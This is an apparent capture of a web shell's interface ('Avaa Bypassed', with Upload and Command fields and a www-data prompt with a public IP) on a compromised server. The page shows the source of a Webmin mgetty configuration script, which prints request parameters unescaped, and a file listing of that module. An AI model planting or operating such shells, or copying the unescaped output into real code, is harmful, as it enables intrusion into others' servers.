[ Avaa Bypassed ]




Upload:

Command:

www-data@3.144.12.160: ~ $
#!/usr/bin/perl
# edit_mgetty.cgi
# Display the mgetty configuration for some serial port

require './pap-lib.pl';
$access{'mgetty'} || &error($text{'mgetty_ecannot'});
&ReadParse();
&foreign_require("inittab", "inittab-lib.pl");

if ($in{'new'}) {
	&ui_print_header(undef, $text{'mgetty_create'}, "");
	}
else {
	&ui_print_header(undef, $text{'mgetty_edit'}, "");
	@mgi = &mgetty_inittabs();
	($init) = grep { $_->{'id'} eq $in{'id'} } @mgi;
	}

print "<form action=save_mgetty.cgi>\n";
print "<input type=hidden name=new value='$in{'new'}'>\n";
print "<input type=hidden name=id value='$in{'id'}'>\n";

print "<table border width=100%>\n";
print "<tr $tb> <td><b>$text{'mgetty_header'}</b></td> </tr>\n";
print "<tr $cb> <td><table width=100%>\n";

print "<tr> <td><b>$text{'mgetty_tty'}</b></td>\n";
print "<td><select name=tty>\n";
$found++ if ($in{'new'});
foreach $t (sort { "$a$b" =~ /^\/dev\/ttyS(\d+)\/dev\/ttyS(\d+)$/ ? $1 <=> $2 : 0 }
		 glob($config{'serials'})) {
	$t =~ s/^\/dev\///;
	local $f = $init->{'tty'} eq $t || $init->{'tty'} eq "/dev/$t";
	printf "<option value=%s %s>%s</option>\n",
		$t, $f ? "selected" : "",
		$t =~ /^ttyS(\d+)$/ ? &text('mgetty_ts', $1+1) :
		$t =~ /^term\/(\S+)$/ ? &text('mgetty_ts', uc($1)) : "/dev/$t";
	$found++ if ($f);
	}
printf "<option value='' %s>%s</option>\n",
	$found ? "" : "selected", $text{'mgetty_other'};
print "</select>\n";
printf "<input name=other size=20 value='%s'> %s</td>\n",
	$found ? "" : $init->{'tty'}, &file_chooser_button("other");

print "<td><b>$text{'mgetty_type'}</b></td>\n";
printf "<td><input name=direct type=radio value=1 %s> %s\n",
	$init->{'direct'} ? "checked" : "", $text{'mgetty_direct'};
printf "<input name=direct type=radio value=0 %s> %s</td> </tr>\n",
	$init->{'direct'} ? "" : "checked", $text{'mgetty_modem'};

print "<tr> <td><b>$text{'mgetty_speed'}</b></td>\n";
printf "<td><input type=radio name=speed_def value=1 %s> %s\n",
	$init->{'speed'} ? "" : "checked", $text{'mgetty_auto'};
printf "<input type=radio name=speed_def value=0 %s>\n",
	$init->{'speed'} ? "checked" : "";
printf "<input name=speed size=8 value='%s'> %s</td>\n",
	$init->{'speed'}, $text{'mgetty_baud'};

print "<td><b>$text{'mgetty_answer'}</b></td>\n";
printf "<td><input name=rings size=4 value='%s'> %s</td> </tr>\n",
	defined($init->{'rings'}) ? $init->{'rings'} : 1, $text{'mgetty_rings'};

print "<tr> <td><b>$text{'mgetty_mode'}</b></td>\n";
printf "<td><input type=radio name=mode value=0 %s> %s\n",
	$init->{'data'} || $init->{'fax'} ? "" : "checked", $text{'mgetty_df'};
printf "<input type=radio name=mode value=1 %s> %s\n",
	$init->{'data'} ? "checked" : "", $text{'mgetty_d'};
printf "<input type=radio name=mode value=2 %s> %s</td>\n",
	$init->{'fax'} ? "checked" : "", $text{'mgetty_f'};

print "<td><b>$text{'mgetty_back'}</b></td>\n";
printf "<td><input type=radio name=back_def value=1 %s> %s\n",
	$init->{'back'} ? "" : "checked", $text{'mgetty_back_def'};
printf "<input type=radio name=back_def value=0 %s>\n",
	$init->{'back'} ? "checked" : "";
printf "<input name=back size=4 value='%s'> %s</td> </tr>\n",
	$init->{'back'}, $text{'mgetty_secs'};

print "<tr> <td><b>$text{'mgetty_prompt'}</b></td>\n";
printf "<td colspan=3><input type=radio name=prompt_def value=1 %s> %s\n",
	$init->{'prompt'} ? "" : "checked", $text{'default'};
printf "<input type=radio name=prompt_def value=0 %s>\n",
	$init->{'prompt'} ? "checked" : "";
printf "<input name=prompt size=50 value='%s'></td> </tr>\n",
	$init->{'prompt'};

print "</table></td></tr></table>\n";
print "<table width=100%><tr>\n";
if ($in{'new'}) {
	print "<td><input type=submit value='$text{'create'}'></td>\n";
	}
else {
	print "<td><input type=submit value='$text{'save'}'></td>\n";
	print "<td align=right><input type=submit name=delete ",
	      "value='$text{'delete'}'></td>\n";
	}
print "</table></form>\n";

&ui_print_footer("list_mgetty.cgi", $text{'mgetty_return'});


Filemanager

Name Type Size Permission Actions
help Folder 0755
images Folder 0755
lang Folder 0755
CHANGELOG File 104 B 0644
acl_security.pl File 925 B 0755
backup_config.pl File 793 B 0755
config-cobalt-linux File 216 B 0644
config-coherent-linux File 216 B 0644
config-corel-linux File 216 B 0644
config-debian-linux File 216 B 0644
config-generic-linux File 216 B 0644
config-gentoo-linux File 216 B 0644
config-mandrake-linux File 216 B 0644
config-msc-linux File 216 B 0644
config-open-linux File 216 B 0644
config-openSUSE-Linux-15.0-ALL File 216 B 0644
config-openmamba-linux File 216 B 0644
config-pardus-linux File 216 B 0644
config-redhat-linux File 216 B 0644
config-slackware-linux File 216 B 0644
config-solaris File 263 B 0644
config-suse-linux File 216 B 0644
config-trustix-linux File 216 B 0644
config-turbo-linux File 216 B 0644
config-united-linux File 216 B 0644
config.info File 336 B 0644
config.info.ca File 406 B 0644
config.info.cs File 371 B 0644
config.info.de File 358 B 0644
config.info.es File 113 B 0644
config.info.fa File 475 B 0644
config.info.fr File 103 B 0644
config.info.nl File 348 B 0644
config.info.no File 339 B 0644
config.info.pl File 86 B 0644
config.info.ru File 383 B 0644
config.info.sv File 106 B 0644
config.info.tr File 108 B 0644
config.info.uk File 413 B 0644
config.info.zh File 92 B 0644
config.info.zh_TW File 92 B 0644
defaultacl File 65 B 0644
delete_secrets.cgi File 516 B 0755
edit_dialin.cgi File 1.84 KB 0755
edit_mgetty.cgi File 3.84 KB 0755
edit_options.cgi File 5.61 KB 0755
edit_secret.cgi File 3.31 KB 0755
index.cgi File 695 B 0755
install_check.pl File 336 B 0755
list_dialin.cgi File 1.77 KB 0755
list_mgetty.cgi File 2.39 KB 0755
list_secrets.cgi File 2.13 KB 0755
log_parser.pl File 947 B 0755
mgetty_apply.cgi File 294 B 0755
module.info File 378 B 0644
module.info.af File 0 B 0644
module.info.af.auto File 96 B 0644
module.info.ar File 0 B 0644
module.info.ar.auto File 128 B 0644
module.info.be File 0 B 0644
module.info.be.auto File 156 B 0644
module.info.bg File 0 B 0644
module.info.bg.auto File 133 B 0644
module.info.ca File 98 B 0644
module.info.ca.auto File 12 B 0644
module.info.cs File 26 B 0644
module.info.cs.auto File 69 B 0644
module.info.da File 0 B 0644
module.info.da.auto File 106 B 0644
module.info.de File 91 B 0644
module.info.de.auto File 12 B 0644
module.info.el File 0 B 0644
module.info.el.auto File 180 B 0644
module.info.es File 51 B 0644
module.info.es.auto File 93 B 0644
module.info.eu File 0 B 0644
module.info.eu.auto File 111 B 0644
module.info.fa File 0 B 0644
module.info.fa.auto File 149 B 0644
module.info.fi File 0 B 0644
module.info.fi.auto File 114 B 0644
module.info.fr File 0 B 0644
module.info.fr.auto File 118 B 0644
module.info.he File 0 B 0644
module.info.he.auto File 116 B 0644
module.info.hr File 0 B 0644
module.info.hr.auto File 112 B 0644
module.info.hu File 0 B 0644
module.info.hu.auto File 133 B 0644
module.info.it File 0 B 0644
module.info.it.auto File 111 B 0644
module.info.ja File 0 B 0644
module.info.ja.auto File 157 B 0644
module.info.ko File 0 B 0644
module.info.ko.auto File 132 B 0644
module.info.lt File 0 B 0644
module.info.lt.auto File 116 B 0644
module.info.lv File 0 B 0644
module.info.lv.auto File 113 B 0644
module.info.ms File 98 B 0644
module.info.ms.auto File 12 B 0644
module.info.mt File 0 B 0644
module.info.mt.auto File 98 B 0644
module.info.nl File 25 B 0644
module.info.nl.auto File 79 B 0644
module.info.no File 31 B 0644
module.info.no.auto File 76 B 0644
module.info.pl File 0 B 0644
module.info.pl.auto File 101 B 0644
module.info.pt File 0 B 0644
module.info.pt.auto File 112 B 0644
module.info.pt_BR File 0 B 0644
module.info.pt_BR.auto File 121 B 0644
module.info.ro File 0 B 0644
module.info.ro.auto File 105 B 0644
module.info.ru File 25 B 0644
module.info.ru.auto File 98 B 0644
module.info.sk File 0 B 0644
module.info.sk.auto File 95 B 0644
module.info.sl File 0 B 0644
module.info.sl.auto File 98 B 0644
module.info.sv File 0 B 0644
module.info.sv.auto File 96 B 0644
module.info.th File 0 B 0644
module.info.th.auto File 221 B 0644
module.info.tr File 0 B 0644
module.info.tr.auto File 104 B 0644
module.info.uk File 0 B 0644
module.info.uk.auto File 160 B 0644
module.info.ur File 0 B 0644
module.info.ur.auto File 195 B 0644
module.info.vi File 0 B 0644
module.info.vi.auto File 112 B 0644
module.info.zh File 0 B 0644
module.info.zh.auto File 106 B 0644
module.info.zh_TW File 0 B 0644
module.info.zh_TW.auto File 115 B 0644
move.cgi File 565 B 0755
pap-lib.pl File 5.91 KB 0755
save_dialin.cgi File 1012 B 0755
save_mgetty.cgi File 2.51 KB 0755
save_options.cgi File 3.06 KB 0755
save_secret.cgi File 1.46 KB 0755
save_sync.cgi File 593 B 0755
secrets-lib.pl File 1.64 KB 0755
useradmin_update.pl File 1.44 KB 0755